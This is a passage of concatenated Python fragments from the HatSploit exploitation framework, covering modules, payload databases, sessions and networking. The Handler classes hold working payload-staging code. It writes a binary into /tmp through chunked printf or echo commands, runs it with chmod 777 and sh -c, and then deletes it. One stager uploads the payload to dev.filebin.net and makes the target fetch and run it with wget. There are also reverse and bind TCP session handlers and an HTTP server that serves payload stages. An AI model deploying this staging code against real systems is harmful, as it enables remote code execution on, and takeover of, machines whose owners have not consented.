def __init__(self): self.badges = Badges() self.importer = Importer() self.modules_checks = ModulesChecks() self.plugins_checks = PluginsChecks() self.payloads_checks = PayloadsChecks()
def __init__(self): self.parser = Parser() self.config = Config() self.badges = Badges() self.colors = Colors() self.colors_script = ColorsScript()
def __init__(self): self.types = Types() self.badges = Badges() self.sessions = Sessions() self.payloads = Payloads() self.local_storage = LocalStorage() self.importer = Importer()
class PerformTests: def __init__(self): self.badges = Badges() self.importer = Importer() self.modules_tests = ModulesTests() self.plugins_tests = PluginsTests() self.payloads_tests = PayloadsTests() def perform_tests(self): self.importer.import_database() statuses = list() self.badges.output_process("Performing modules test...") statuses.append(self.modules_tests.perform_test()) self.badges.output_process("Performing plugins test...") statuses.append(self.plugins_tests.perform_test()) self.badges.output_process("Performing payloads test...") statuses.append(self.payloads_tests.perform_test()) for status in statuses: if status: self.badges.output_error("Not all tests passed!") sys.exit(1) self.badges.output_success("All tests passed!")
def __init__(self): self.badges = Badges() self.importer = Importer() self.modules_tests = ModulesTests() self.plugins_tests = PluginsTests() self.payloads_tests = PayloadsTests()
def __init__(self): self.exceptions = Exceptions() self.tables = Tables() self.badges = Badges() self.local_storage = LocalStorage() self.modules = Modules() self.job_process = None
def do_GET(self): self.badges = Badges() self.badges.output_success( f"Connection from {self.client_address[0]}!") self.badges.output_process("Sending payload stage...") self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(bytes(self.payload, "utf8")) self.badges.output_success("Payload sent successfully!")
def __init__(self): self.io = IO() self.tip = Tip() self.jobs = Jobs() self.execute = Execute() self.loader = Loader() self.config = Config() self.badges = Badges() self.banner = Banner() self.colors = Colors() self.local_storage = LocalStorage() self.modules = Modules() self.exceptions = Exceptions() self.history = self.config.path_config['base_paths']['history_path']
class FSTools: badges = Badges() def exists_directory(self, path): if os.path.isdir(path): if os.path.exists(path): return True, "directory" self.badges.output_error("Local directory: " + path + ": does not exist!") return False, "" directory = os.path.split(path)[0] if directory == "": directory = "." if os.path.exists(directory): if os.path.isdir(directory): return True, "file" self.badges.output_error("Error: " + directory + ": not a directory!") return False, "" self.badges.output_error("Local directory: " + directory + ": does not exist!") return False, "" def file(self, path): if os.path.exists(path): if os.path.isdir(path): self.badges.output_error("Error: " + path + ": not a file!") return False return True self.badges.output_error("Local file: " + path + ": does not exist!") return False
class BluetoothClient: badges = Badges() def ble_scan(self, mac=None, buffering=False, enumeration=False, timeout=10): scanner = BluetoothScanner(mac).withDelegate( ScanDelegate(mac, buffering, enumeration)) if mac is not None: self.badges.output_process("Scanning BLE device...") else: self.badges.output_process("Scanning for BLE devices...") devices = list() try: devices = [result for result in scanner.scan(timeout)] except Exception as e: self.badges.output_error( "Failed to scan. Check your bluetooth hardware.") self.badges.output_information(f"Trace: {str(e)}") return devices
class Loader: def __init__(self): self.badges = Badges() self.importer = Importer() self.config = Config() def load_update_process(self): remote_config = requests.get( 'https://raw.githubusercontent.com/EntySec/HatSploit/main/config/core_config.yml', stream=True) remote_config = remote_config.content if self.config.get_config_file(remote_config)['details']['version'] != \ self.config.core_config['details']['version']: self.badges.output_warning( "Your HatSploit Framework is out-dated.") self.badges.output_information("Consider running ./update.sh") time.sleep(1) def load_components(self): self.importer.import_all() def load_everything(self): self.load_update_process() self.load_components() def load_all(self): loading_process = threading.Thread(target=self.load_everything) loading_process.start() base_line = "Loading the HatSploit Framework..." cycle = 0 while loading_process.is_alive(): for char in "/-\|": status = base_line + char + "\r" cycle += 1 if status[cycle % len(status)] in list(string.ascii_lowercase): status = status[:cycle % len(status)] + status[cycle % len( status)].upper() + status[cycle % len(status) + 1:] elif status[cycle % len(status)] in list( string.ascii_uppercase): status = status[:cycle % len(status)] + status[cycle % len( status)].lower() + status[cycle % len(status) + 1:] sys.stdout.write(self.badges.P + status) time.sleep(.1) sys.stdout.flush() loading_process.join()
class Tables: badges = Badges() def print_table(self, name, headers, *args, **kwargs) -> None: extra_fill = kwargs.get("extra_fill", 4) header_separator = kwargs.get("header_separator", "-") if not all(map(lambda x: len(x) == len(headers), args)): self.badges.output_error("Headers and table rows tuples should be the same length.") return def custom_len(x): x = str(x) try: if '\033' in x: return len(x) - 9 * x.count('\033') // 2 return len(x) except TypeError: return 0 fill = list() headers_line = ' ' headers_separator_line = ' ' for idx, header in enumerate(headers): column = [custom_len(arg[idx]) for arg in args] column.append(len(header)) current_line_fill = max(column) + extra_fill fill.append(current_line_fill) headers_line = "".join((headers_line, "{header:<{fill}}".format(header=header, fill=current_line_fill))) headers_separator_line = "".join(( headers_separator_line, "{:<{}}".format(header_separator * len(header), current_line_fill) )) self.badges.output_empty('\n' + name.split()[0].title() + name[len(name.split()[0]):] + ':') self.badges.output_empty("") self.badges.output_empty(headers_line) self.badges.output_empty(headers_separator_line) for arg in args: content_line = " " for idx, element in enumerate(arg): element = str(element) fill_line = fill[idx] if '\033' in element: fill_line = fill[idx] + 9 * element.count('\033') // 2 content_line = "".join(( content_line, "{:<{}}".format(element, fill_line) )) self.badges.output_empty(content_line) self.badges.output_empty("")
class Tip: def __init__(self): self.parser = Parser() self.config = Config() self.badges = Badges() self.colors = Colors() self.colors_script = ColorsScript() def print_random_tip(self): if os.path.exists(self.config.path_config['base_paths']['tips_path']): tips = list() all_tips = os.listdir( self.config.path_config['base_paths']['tips_path']) for tip in all_tips: tips.append(tip) if tips: tip = "" while not tip: random_tip = random.randint(0, len(tips) - 1) tip = self.colors_script.parse_colors_script( self.config.path_config['base_paths']['tips_path'] + tips[random_tip]) self.badges.output_empty(self.colors.END + "HatSploit Tip: " + tip + self.colors.END) else: self.badges.output_warning("No tips detected.") else: self.badges.output_warning("No tips detected.")
class Banner: def __init__(self): self.parser = Parser() self.config = Config() self.badges = Badges() self.colors = Colors() self.colors_script = ColorsScript() def print_random_banner(self): if os.path.exists( self.config.path_config['base_paths']['banners_path']): banners = list() all_banners = os.listdir( self.config.path_config['base_paths']['banners_path']) for banner in all_banners: banners.append(banner) if banners: banner = "" while not banner: random_banner = random.randint(0, len(banners) - 1) banner = self.colors_script.parse_colors_script( self.config.path_config['base_paths']['banners_path'] + banners[random_banner]) self.badges.output_empty(self.colors.END + banner + self.colors.END) else: self.badges.output_warning("No banners detected.") else: self.badges.output_warning("No banners detected.")
class ModulesChecks: def __init__(self): self.badges = Badges() self.importer = Importer() self.local_storage = LocalStorage() self.modules = Modules() def perform_check(self): fail = False all_modules = self.local_storage.get("modules") if all_modules: for database in all_modules.keys(): self.badges.output_process("Checking modules from " + database + " database...") modules = all_modules[database] for category in modules.keys(): for platform in modules[category].keys(): for module in modules[category][platform].keys(): try: _ = self.importer.import_module( modules[category][platform][module] ['Path']) self.badges.output_success( self.modules.get_full_name( category, platform, module) + ': OK') except Exception: self.badges.output_error( self.modules.get_full_name( category, platform, module) + ': FAIL') fail = True return fail
class PayloadsTests: def __init__(self): self.badges = Badges() self.importer = Importer() self.local_storage = LocalStorage() self.payloads = Payloads() def perform_test(self): fail = False all_payloads = self.local_storage.get("payloads") if all_payloads: for database in all_payloads.keys(): self.badges.output_process("Testing payloads from " + database + " database...") payloads = all_payloads[database] for platform in payloads.keys(): for architecture in payloads[platform].keys(): for payload in payloads[platform][architecture].keys(): try: _ = self.importer.import_payload( payloads[platform][architecture][payload] ['Path']) self.badges.output_success( self.payloads.get_full_name( platform, architecture, payload) + ': OK') except Exception: self.badges.output_error( self.payloads.get_full_name( platform, architecture, payload) + ': FAIL') fail = True return fail
def __init__(self): self.badges = Badges() self.local_storage = LocalStorage() self.base_path = '/opt/hsf/' self.config_path = self.base_path + 'config/' self.db_config_file = self.config_path + 'db_config.yml' self.path_config_file = self.config_path + 'path_config.yml' self.core_config_file = self.config_path + 'core_config.yml' self.db_config = self.local_storage.get("db_config") self.path_config = self.local_storage.get("path_config") self.core_config = self.local_storage.get("core_config")
class Handler(http.server.SimpleHTTPRequestHandler): def log_request(self, fmt, *args): pass def do_GET(self): self.badges = Badges() self.badges.output_success( f"Connection from {self.client_address[0]}!") self.badges.output_process("Sending payload stage...") self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(bytes(self.payload, "utf8")) self.badges.output_success("Payload sent successfully!")
class PluginsChecks: def __init__(self): self.badges = Badges() self.importer = Importer() self.local_storage = LocalStorage() def perform_check(self): fail = False all_plugins = self.local_storage.get("plugins") if all_plugins: for database in all_plugins.keys(): self.badges.output_process("Checking plugins from " + database + " database...") plugins = all_plugins[database] for plugin in plugins.keys(): try: _ = self.importer.import_plugin(plugins[plugin]['Path']) self.badges.output_success(plugin + ': OK') except Exception: self.badges.output_error(plugin + ': FAIL') fail = True return fail
class Handler(TCP): sessions = Sessions() local_storage = LocalStorage() modules = Modules() badges = Badges() def listen_session(self, local_host, local_port, timeout=None, session=HatSploitSession): try: client, address = self.listen(local_host, local_port, timeout) session = session() session.open(client) return session, address except Exception: self.badges.output_error("Failed to handle session!") return None, None def connect_session(self, remote_host, remote_port, timeout=None, session=HatSploitSession): try: client = self.connect(remote_host, remote_port, timeout) session = session() session.open(client) return session except Exception: self.badges.output_error("Failed to handle session!") return None def bytes_to_octal(self, bytes_obj): byte_octals = [] for byte in bytes_obj: byte_octal = '\\' + oct(byte)[2:] byte_octals.append(byte_octal) return ''.join(byte_octals) def echo_stage(self, payload, sender, args=[], payload_args=None, location='/tmp', encode=False): self.badges.output_process("Sending payload stage...") filename = binascii.hexlify(os.urandom(8)).decode() path = location + '/' + filename echo_stream = "printf '{}' >> {}" echo_max_length = 100 size = len(payload) num_parts = int(size / echo_max_length) + 1 for i in range(0, num_parts): current = i * echo_max_length block = self.bytes_to_octal(payload[current:current + echo_max_length]) command = echo_stream.format(block, path) self.badges.output_multi( f"Uploading payload... ({str(current)}/{str(size)})") if encode: sender(*args, (command + '\n').encode()) else: sender(*args, command) args = args if args is not None else "" if encode: sender( *args, f"chmod 777 {path}; sh -c '{path} {payload_args}' 2>/dev/null &\n" .encode()) else: sender( *args, f"chmod 777 {path}; sh -c '{path} {payload_args}' 2>/dev/null &" ) def set_session_details(self, payload, session): if not session.details['Type']: session.details['Type'] = 'custom' session.details['Platform'] = payload['Platform'] return session def handle_session(self, host, port, payload, sender=None, args=[], location='/tmp', timeout=None, method=None): if payload['Payload'] is None: self.badges.output_error("Payload stage is not found!") return False if sender is not None: session = payload['Session'] if payload[ 'Session'] is not None else HatSploitSession if payload['Category'].lower() == 'stager': self.echo_stage(payload['Payload'], sender, args, payload['Args'], location) elif payload['Category'].lower() == 'single': sender(*args, payload['Payload']) else: self.badges.output_error("Invalid payload category!") return False else: if method is not None: if method.lower() == 'reverse_tcp': new_session, remote_host = self.listen_session( host, port, timeout, HatSploitSession) if not new_session and not remote_host: return False if method.lower() == 'bind_tcp': new_session = self.connect_session(host, port, timeout, HatSploitSession) remote_host = host if not new_session: return False if payload['Category'].lower() == 'stager': self.echo_stage(payload['Payload'], new_session.send, args, payload['Args'], location, encode=True) elif payload['Category'].lower() == 'single': new_session.send_command(payload['Payload']) else: self.badges.output_error("Invalid payload category!") return False else: self.badges.output_error("Failed to execute payload stage!") return False if payload['Type'].lower() == 'one_side': self.badges.output_warning( "Payload completed but no session was created.") return True session = payload['Session'] if payload[ 'Session'] is not None else HatSploitSession if payload['Type'].lower() == 'bind_tcp': new_session = self.connect_session(host, port, timeout, session) remote_host = host if not new_session: return False if payload['Type'].lower() == 'reverse_tcp': new_session, remote_host = self.listen_session( host, port, timeout, session) if not new_session and not remote_host: return False new_session = self.set_session_details(payload, new_session) session_platform = new_session.details['Platform'] session_type = new_session.details['Type'] session_id = self.sessions.add_session(session_platform, session_type, remote_host, port, new_session) self.badges.output_success("Session " + str(session_id) + " opened!") return True
class Sessions: def __init__(self): self.badges = Badges() self.local_storage = LocalStorage() def add_session(self, session_platform, session_type, session_host, session_port, session_object): if not self.local_storage.get("sessions"): self.local_storage.set("sessions", dict()) session_id = 0 if session_platform in self.local_storage.get("sessions").keys(): sessions = self.local_storage.get("sessions") session_id = len(sessions[session_platform]) sessions[session_platform][int(session_id)] = { 'type': session_type, 'host': session_host, 'port': session_port, 'object': session_object } else: sessions = { session_platform: { int(session_id): { 'type': session_type, 'host': session_host, 'port': session_port, 'object': session_object } } } self.local_storage.update("sessions", sessions) return session_id def check_session_exist(self, session_platform, session_id): sessions = self.local_storage.get("sessions") if sessions: if session_platform in sessions.keys(): if int(session_id) in sessions[session_platform].keys(): return True return False def spawn_interactive_connection(self, session_platform, session_id): sessions = self.local_storage.get("sessions") if self.check_session_exist(session_platform, session_id): self.badges.output_process("Interacting with session " + str(session_id) + "...") self.badges.output_success("Interactive connection spawned!") self.badges.output_information("Type commands below.\n") sessions[session_platform][int(session_id)]['object'].interact() else: self.badges.output_error("Invalid session given!") def close_session(self, session_platform, session_id): sessions = self.local_storage.get("sessions") if self.check_session_exist(session_platform, session_id): try: sessions[session_platform][int(session_id)]['object'].close() del sessions[session_platform][int(session_id)] if not sessions[session_platform]: del sessions[session_platform] self.local_storage.update("sessions", sessions) except Exception: self.badges.output_error("Failed to close session!") else: self.badges.output_error("Invalid session given!") def get_session(self, session_platform, session_type, session_id): sessions = self.local_storage.get("sessions") if self.check_session_exist(session_platform, session_id): if session_type == sessions[session_platform][int( session_id)]['type']: return sessions[session_platform][int(session_id)]['object'] self.badges.output_error("Session with invalid type!") return None return None
def __init__(self): self.badges = Badges() self.exceptions = Exceptions()
class TCP: def __init__(self): self.badges = Badges() self.exceptions = Exceptions() @staticmethod def get_local_host(): try: server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) server.connect(("192.168.1.1", 80)) local_host = server.getsockname()[0] server.close() local_host = local_host except Exception: local_host = "127.0.0.1" return local_host @staticmethod def tcp_request(host, port, data, buffer_size=1024, timeout=10): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((host, int(port))) sock.send(data.encode()) output = sock.recv(buffer_size) sock.close() return output.decode().strip() @staticmethod def check_tcp_port(host, port, timeout=10): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) if sock.connect_ex((host, int(port))) == 0: sock.close() return True sock.close() return False def connect(self, remote_host, remote_port, timeout=None): address = remote_host + ':' + str(remote_port) self.badges.output_process("Connecting to " + address + "...") try: server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.settimeout(timeout) server.connect((remote_host, int(remote_port))) self.badges.output_process("Establishing connection...") except socket.timeout: self.badges.output_warning("Connection timeout.") raise self.exceptions.GlobalException except Exception: self.badges.output_error("Failed to connect to " + address + "!") raise self.exceptions.GlobalException return server def listen(self, local_host, local_port, timeout=None): try: server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.settimeout(timeout) server.bind((local_host, int(local_port))) server.listen(1) self.badges.output_process("Listening on port " + str(local_port) + "...") client, address = server.accept() self.badges.output_process("Connecting to " + address[0] + "...") self.badges.output_process("Establishing connection...") server.close() except socket.timeout: self.badges.output_warning("Timeout waiting for connection.") server.close() raise self.exceptions.GlobalException except Exception: self.badges.output_error("Failed to listen on port " + str(local_port) + "!") raise self.exceptions.GlobalException return client, address[0]
class HTTPClient: def __init__(self): self.badges = Badges() self.handler = Handler def start_server(self, host, port, payload, forever=True): try: self.badges.output_process( f"Starting http server on port {str(port)}...") httpd = socketserver.TCPServer((host, int(port)), self.handler) self.badges.output_process("Serving payload on http server...") httpd.RequestHandlerClass.payload = payload if forever: while True: self.badges.output_process("Listening for connections...") httpd.handle_request() else: self.badges.output_process("Listening for connections...") httpd.handle_request() except Exception: self.badges.output_error( f"Failed to start http server on port {str(port)}!") def http_request(self, method, host, port, path, ssl=False, session=requests, **kwargs): kwargs.setdefault("timeout", HTTP_TIMEOUT) kwargs.setdefault("verify", False) kwargs.setdefault("allow_redirects", True) if not ssl: ssl = int(port) in [443] url = self.normalize_url(host, port, path, ssl) try: return getattr(session, method.lower())(url, **kwargs) except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): self.badges.output_error("Invalid URL format: {}!".format(url)) except requests.exceptions.ConnectionError: self.badges.output_error("Connection error: {}!".format(url)) except requests.RequestException as e: self.badges.output_error(e) except socket.error as e: self.badges.output_error(e) return None @staticmethod def normalize_url(host, port, path, ssl=False): if ssl: url = "https://" else: url = "http://" url += "{}:{}{}".format(host, port, path) return url
class Payloads: def __init__(self): self.importer = Importer() self.local_storage = LocalStorage() self.badges = Badges() def check_exist(self, name): if self.check_style(name): all_payloads = self.local_storage.get("payloads") if all_payloads: for database in all_payloads.keys(): payloads = all_payloads[database] platform = self.get_platform(name) architecture = self.get_architecture(name) if platform in payloads.keys(): if architecture in payloads[platform].keys(): payload = self.get_name(name) if payload in payloads[platform][ architecture].keys(): return True return False @staticmethod def check_style(name): if len(name.split('/')) >= 3: return True return False def get_platform(self, name): if self.check_style(name): return name.split('/')[0] return None def get_architecture(self, name): if self.check_style(name): return name.split('/')[1] return None def get_name(self, name): if self.check_style(name): return os.path.join(*(name.split(os.path.sep)[2:])) return None def get_payload_object(self, platform, architecture, name): payload_full_name = self.get_full_name(platform, architecture, name) if self.check_exist(payload_full_name): database = self.get_database(payload_full_name) return self.local_storage.get( "payloads")[database][platform][architecture][name] return None def get_database(self, name): if self.check_style(name): all_payloads = self.local_storage.get("payloads") if all_payloads: for database in all_payloads.keys(): payloads = all_payloads[database] platform = self.get_platform(name) architecture = self.get_architecture(name) if platform in payloads.keys(): if architecture in payloads[platform].keys(): payload = self.get_name(name) if payload in payloads[platform][ architecture].keys(): return database return None @staticmethod def get_full_name(platform, architecture, name): return platform + '/' + architecture + '/' + name def check_current_module(self): if self.local_storage.get("current_module"): if len(self.local_storage.get("current_module")) > 0: return True return False def get_current_module_object(self): if self.check_current_module(): return self.local_storage.get_array( "current_module", self.local_storage.get("current_module_number")) return None def get_current_module_name(self): if self.check_current_module(): return self.local_storage.get_array( "current_module", self.local_storage.get( "current_module_number")).details['Module'] return None def import_payload(self, module_name, platform, architecture, name): payloads = self.get_payload_object(platform, architecture, name) try: payload_object = self.importer.import_payload(payloads['Path']) current_module_name = module_name imported_payloads = self.local_storage.get("imported_payloads") if imported_payloads: if current_module_name in imported_payloads.keys(): imported_payloads[current_module_name].update({ payload_object.details['Payload']: copy.copy(payload_object) }) else: imported_payloads.update({ current_module_name: { payload_object.details['Payload']: copy.copy(payload_object) } }) else: imported_payloads = { current_module_name: { payload_object.details['Payload']: copy.copy(payload_object) } } self.local_storage.set("imported_payloads", imported_payloads) except Exception: return None return payload_object def check_imported(self, module_name, name): imported_payloads = self.local_storage.get("imported_payloads") current_module_name = module_name if imported_payloads: if current_module_name in imported_payloads.keys(): if name in imported_payloads[current_module_name].keys(): return True return False def get_current_payload(self): imported_payloads = self.local_storage.get("imported_payloads") current_module_object = self.get_current_module_object() current_module_name = current_module_object.details['Module'] if hasattr(current_module_object, "payload"): name = current_module_object.payload['Value'] if current_module_name in imported_payloads.keys(): if name in imported_payloads[current_module_name].keys(): return imported_payloads[current_module_name][name] return None def add_payload(self, module_name, platform, architecture, name): payloads = self.get_payload_object(platform, architecture, name) not_installed = list() for dependence in payloads['Dependencies']: if not self.importer.import_check(dependence): not_installed.append(dependence) if not not_installed: full_name = self.get_full_name(platform, architecture, name) if not self.check_imported(module_name, full_name): payload_object = self.import_payload(module_name, platform, architecture, name) if not payload_object: self.badges.output_error( "Failed to select payload from database!") return False else: self.badges.output_error( "Payload depends this dependencies which is not installed:") for dependence in not_installed: self.badges.output_empty(" * " + dependence) return False return True
def __init__(self): self.badges = Badges() self.handler = Handler
class Handler(TCP): sessions = Sessions() local_storage = LocalStorage() modules = Modules() badges = Badges() def listen_session(self, local_host, local_port, timeout=None, session=HatSploitSession): try: client, address = self.listen(local_host, local_port, timeout) session = session() session.open(client) return session, address except Exception: self.badges.output_error("Failed to handle session!") return None, None def connect_session(self, remote_host, remote_port, timeout=None, session=HatSploitSession): try: client = self.connect(remote_host, remote_port, timeout) session = session() session.open(client) return session except Exception: self.badges.output_error("Failed to handle session!") return None def bytes_to_octal(self, bytes_obj, extra_zero=False): byte_octals = [] for byte in bytes_obj: byte_octal = '\\0' if extra_zero else '\\' + oct(byte)[2:] byte_octals.append(byte_octal) return ''.join(byte_octals) def wget_stage(self, payload, sender, args=[], payload_args=None, delim=';', location='/tmp', encode=False, execute=True): self.badges.output_process("Sending payload stage...") filename = binascii.hexlify(os.urandom(8)).decode() path = location + '/' + filename wget_bin = binascii.hexlify(os.urandom(8)).decode() wget_file = binascii.hexlify(os.urandom(8)).decode() wget_container = f"https://dev.filebin.net/{wget_bin}" wget_server = f"https://dev.filebin.net/{wget_bin}/{wget_file}" wget_stream = "wget '{}' -qO {}" requests.post(wget_server.format(wget_bin, wget_file), data=payload) self.badges.output_process("Uploading payload...") if execute: self.badges.output_process("Executing payload...") command = f"{wget_stream.format(wget_server, path)} {delim} chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"" args = args if args is not None else "" else: command = wget_stream.format(wget_server, path) if encode: sender(*args, f"{command}\n".encode()) else: sender(*args, {command}) requests.delete(wget_container) def echo_stage(self, payload, sender, args=[], payload_args=None, delim=';', location='/tmp', encode=False, execute=True): self.badges.output_process("Sending payload stage...") filename = binascii.hexlify(os.urandom(8)).decode() path = location + '/' + filename echo_stream = "echo -n '{}' >> {}" echo_max_length = 100 size = len(payload) num_parts = int(size / echo_max_length) + 1 for i in range(0, num_parts): current = i * echo_max_length block = self.bytes_to_octal(payload[current:current + echo_max_length], extra_zero=True) command = echo_stream.format(block, path) self.badges.output_multi( f"Uploading payload... ({str(current)}/{str(size)})") if encode: sender(*args, (command + '\n').encode()) else: sender(*args, command) if execute: self.badges.output_process("Executing payload...") args = args if args is not None else "" if encode: sender( *args, f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"\n" .encode()) else: sender( *args, f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"" ) def printf_stage(self, payload, sender, args=[], payload_args=None, delim=';', location='/tmp', encode=False, execute=True): self.badges.output_process("Sending payload stage...") filename = binascii.hexlify(os.urandom(8)).decode() path = location + '/' + filename printf_stream = "printf '{}' >> {}" printf_max_length = 100 size = len(payload) num_parts = int(size / printf_max_length) + 1 for i in range(0, num_parts): current = i * printf_max_length block = self.bytes_to_octal(payload[current:current + printf_max_length]) command = printf_stream.format(block, path) self.badges.output_multi( f"Uploading payload... ({str(current)}/{str(size)})") if encode: sender(*args, (command + '\n').encode()) else: sender(*args, command) if execute: self.badges.output_process("Executing payload...") args = args if args is not None else "" if encode: sender( *args, f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"\n" .encode()) else: sender( *args, f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"" ) def set_session_details(self, payload, session): if not session.details['Type']: session.details['Type'] = 'custom' session.details['Platform'] = payload['Platform'] return session def handle_session(self, host, port, payload, sender=None, args=[], delim=';', location='/tmp', timeout=None, method=None, post="printf"): if payload['Payload'] is None: self.badges.output_error("Payload stage is not found!") return False encode = False if sender is not None: session = payload['Session'] if payload[ 'Session'] is not None else HatSploitSession if payload['Category'].lower() == 'stager': if post.lower() == 'printf': self.printf_stage(payload['Payload'], sender, args, payload['Args'], delim, location, encode) elif post.lower() == 'echo': self.echo_stage(payload['Payload'], sender, args, payload['Args'], delim, location, encode) elif post.lower() == 'wget': self.wget_stage(payload['Payload'], sender, args, payload['Args'], delim, location, encode) else: self.output_warning( "Invalid post method, using printf by default.") self.printf_stage(payload['Payload'], sender, args, payload['Args'], delim, location, encode) elif payload['Category'].lower() == 'single': sender(*args, payload['Payload']) else: self.badges.output_error("Invalid payload category!") return False else: if method is not None: encode = True if method.lower() == 'reverse_tcp': new_session, remote_host = self.listen_session( host, port, timeout, HatSploitSession) if not new_session and not remote_host: return False if method.lower() == 'bind_tcp': new_session = self.connect_session(host, port, timeout, HatSploitSession) remote_host = host if not new_session: return False if payload['Category'].lower() == 'stager': if post.lower() == 'printf': self.printf_stage(payload['Payload'], new_session.send, args, payload['Args'], delim, location, encode) elif post.lower() == 'echo': self.echo_stage(payload['Payload'], new_session.send, args, payload['Args'], delim, location, encode) elif post.lower() == 'wget': self.wget_stage(payload['Payload'], new_session.send, args, payload['Args'], delim, location, encode) else: self.output_warning( "Invalid post method, using printf by default.") self.printf_stage(payload['Payload'], new_session.send, args, payload['Args'], delim, location, encode) elif payload['Category'].lower() == 'single': new_session.send_command(payload['Payload']) else: self.badges.output_error("Invalid payload category!") return False else: self.badges.output_error("Failed to execute payload stage!") return False if payload['Type'].lower() == 'one_side': self.badges.output_warning( "Payload completed but no session was created.") return True session = payload['Session'] if payload[ 'Session'] is not None else HatSploitSession if payload['Type'].lower() == 'bind_tcp': new_session = self.connect_session(host, port, timeout, session) remote_host = host if not new_session: return False if payload['Type'].lower() == 'reverse_tcp': new_session, remote_host = self.listen_session( host, port, timeout, session) if not new_session and not remote_host: return False new_session = self.set_session_details(payload, new_session) session_platform = new_session.details['Platform'] session_type = new_session.details['Type'] session_id = self.sessions.add_session(session_platform, session_type, remote_host, port, new_session) self.badges.output_success("Session " + str(session_id) + " opened!") return True
class DB: def __init__(self): self.badges = Badges() self.local_storage = LocalStorage() def disconnect_payloads_database(self, name): if self.local_storage.get("connected_payloads_databases"): if name in self.local_storage.get("connected_payloads_databases"): self.local_storage.delete_element( "connected_payloads_databases", name) self.local_storage.delete_element("payloads", name) return self.badges.output_error("No such payloads database connected!") def disconnect_modules_database(self, name): if self.local_storage.get("connected_modules_databases"): if name in self.local_storage.get("connected_modules_databases"): self.local_storage.delete_element( "connected_modules_databases", name) self.local_storage.delete_element("modules", name) return self.badges.output_error("No such modules database connected!") def disconnect_plugins_database(self, name): if self.local_storage.get("connected_plugins_databases"): if name in self.local_storage.get("connected_plugins_databases"): self.local_storage.delete_element( "connected_plugins_databases", name) self.local_storage.delete_element("plugins", name) return self.badges.output_error("No such plugins database connected!") def connect_payloads_database(self, name, path): if self.local_storage.get("connected_payloads_databases"): if name in self.local_storage.get("connected_payloads_databases"): self.bagdes.output_error( "Payloads database already connected!") return if not os.path.exists(path) or not str.endswith(path, "json"): self.badges.output_error("Not a payloads database!") return try: database = json.load(open(path)) except Exception: self.badges.output_error("Failed to connect payloads database!") return if '__database__' not in database.keys(): self.badges.output_error("No __database__ section found!") return if database['__database__']['type'] != "payloads": self.badges.output_error("Not a payloads database!") return del database['__database__'] payloads = {name: database} data = {name: {'path': path}} if not self.local_storage.get("connected_payloads_databases"): self.local_storage.set("connected_payloads_databases", dict()) self.local_storage.update("connected_payloads_databases", data) if self.local_storage.get("payloads"): self.local_storage.update("payloads", payloads) else: self.local_storage.set("payloads", payloads) def connect_modules_database(self, name, path): if self.local_storage.get("connected_modules_databases"): if name in self.local_storage.get("connected_modules_databases"): self.bagdes.output_error("Modules database already connected!") return if not os.path.exists(path) or not str.endswith(path, "json"): self.badges.output_error("Not a modules database!") return try: database = json.load(open(path)) except Exception: self.badges.output_error("Failed to connect modules database!") return if '__database__' not in database.keys(): self.badges.output_error("No __database__ section found!") return if database['__database__']['type'] != "modules": self.badges.output_error("Not a modules database!") return del database['__database__'] modules = {name: database} data = {name: {'path': path}} if not self.local_storage.get("connected_modules_databases"): self.local_storage.set("connected_modules_databases", dict()) self.local_storage.update("connected_modules_databases", data) if self.local_storage.get("modules"): self.local_storage.update("modules", modules) else: self.local_storage.set("modules", modules) def connect_plugins_database(self, name, path): if self.local_storage.get("connected_plugins_databases"): if name in self.local_storage.get("connected_plugins_databases"): self.bagdes.output_error("Plugins database already connected!") return if not os.path.exists(path) or not str.endswith(path, "json"): self.badges.output_error("Not a database!") return try: database = json.load(open(path)) except Exception: self.badges.output_error("Failed to connect plugins database!") return if '__database__' not in database.keys(): self.badges.output_error("No __database__ section found!") return if database['__database__']['type'] != "plugins": self.badges.output_error("Not a plugins database!") return del database['__database__'] plugins = {name: database} data = {name: {'path': path}} if not self.local_storage.get("connected_plugins_databases"): self.local_storage.set("connected_plugins_databases", dict()) self.local_storage.update("connected_plugins_databases", data) if self.local_storage.get("plugins"): self.local_storage.update("plugins", plugins) else: self.local_storage.set("plugins", plugins)
def __init__(self): self.importer = Importer() self.local_storage = LocalStorage() self.badges = Badges()
def __init__(self): self.badges = Badges() self.local_storage = LocalStorage()